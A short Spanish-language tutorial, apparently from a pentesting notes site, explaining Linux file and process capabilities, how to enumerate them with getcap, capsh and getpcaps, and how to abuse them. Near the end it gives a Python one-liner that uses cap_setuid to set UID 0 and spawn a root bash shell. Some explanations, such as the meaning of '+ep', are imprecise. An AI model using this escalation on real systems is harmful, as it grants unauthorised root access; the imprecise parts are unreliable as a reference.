Capabilitie Abuse

Linux privilege Escalation

Entendiendo las “capabilities” en Linux (de forma más relajada)

En Linux existe una forma bastante buena de dar ciertos permisos a procesos sin necesidad de convertirlos en root, y eso se llama capabilities. Básicamente, en lugar de darle a un programa todo el poder de root (que es un riesgo grande), le das solo los permisos que necesita y listo. Más seguro, más controlado.

Las capabilities se dividen en tres tipos principales:

  • Efectivas (effective): son los permisos que el proceso realmente puede usar. Si un proceso tiene CAP_NET_ADMIN, puede cambiar configuraciones de red, por ejemplo.

  • Heredables (inheritable): son los permisos que los procesos hijos pueden recibir del padre. Si el padre tiene CAP_NET_ADMIN como heredable, el hijo también puede obtenerlo.

  • Permitidas (permitted): son como el conjunto total de permisos posibles que un proceso puede llegar a usar. Incluye tanto los efectivos como los heredables. Si no están en este grupo, no se pueden usar.

Ahora bien, algunas capabilities son medio peligrosas si terminan en las manos equivocadas. Por ejemplo, cap_setuid permite cambiar el ID de usuario de un proceso… y eso puede dar lugar a que se ejecute código con permisos elevados, lo cual no es buena idea si hay un atacante de por medio.

¿Cómo se revisan las capabilities de un archivo?

Con el comando getcap. Por ejemplo:

bashCopiarEditargetcap /usr/bin/ping

Y podrías ver algo como esto:

bashCopiarEditar/usr/bin/ping = cap_net_admin,cap_net_raw+ep

Eso quiere decir que ese archivo puede administrar la red y enviar paquetes crudos (lo típico de ping), y además tiene el bit de ejecución elevado.

¿Y si quiero asignar una capability?

Usás setcap, así:

bashCopiarEditarsudo setcap cap_net_admin+ep /usr/bin/my_program

Con eso, tu programa llamado my_program va a poder tocar configuraciones de red como si fuera un admin, sin ser root.

¿Qué es eso del +ep?

Ese +ep significa que el archivo tiene permisos de ejecución elevados, o sea que puede usar las capabilities que le asignaste sin importar los permisos del usuario que lo ejecuta. Es como decirle al sistema: “Confío en este binario, dejalo hacer lo que necesita”.

Pero ojo, aunque le pongas estas capabilities a un archivo, otras herramientas como AppArmor o SELinux pueden seguir controlando lo que puede hacer, dependiendo de cómo estén configuradas. Así que las capabilities son poderosas, pero no lo son todo.


enumerando las capabilities

getcap -r / 2>/dev/null

nos dirá que binario tiene capabilities asignadas y los nombres

también podemos hacerlo así :

ps -faux # copiamos el PID del proceso que queremos ver las capabilities

cat /proc/PID/status | grep Cap
capsh --decode=El_codigo_que_sale_al_ejecutar_el_comando_anterior_comunmente_es_el_capPrm

otra forma :

getpcaps PID

vamos a poner unos ejemplos de como explotar algunas de las caps

cap_setuid+ep : nos deja controlar el identificador de usuario ejemplo explotando esta cap con Python :

python -c 'import os; os.setuid(0); os.system("bash")'
# nos dara la consola de bash con root

también podemos buscar formas de explotar caps con gtfobins

Last updated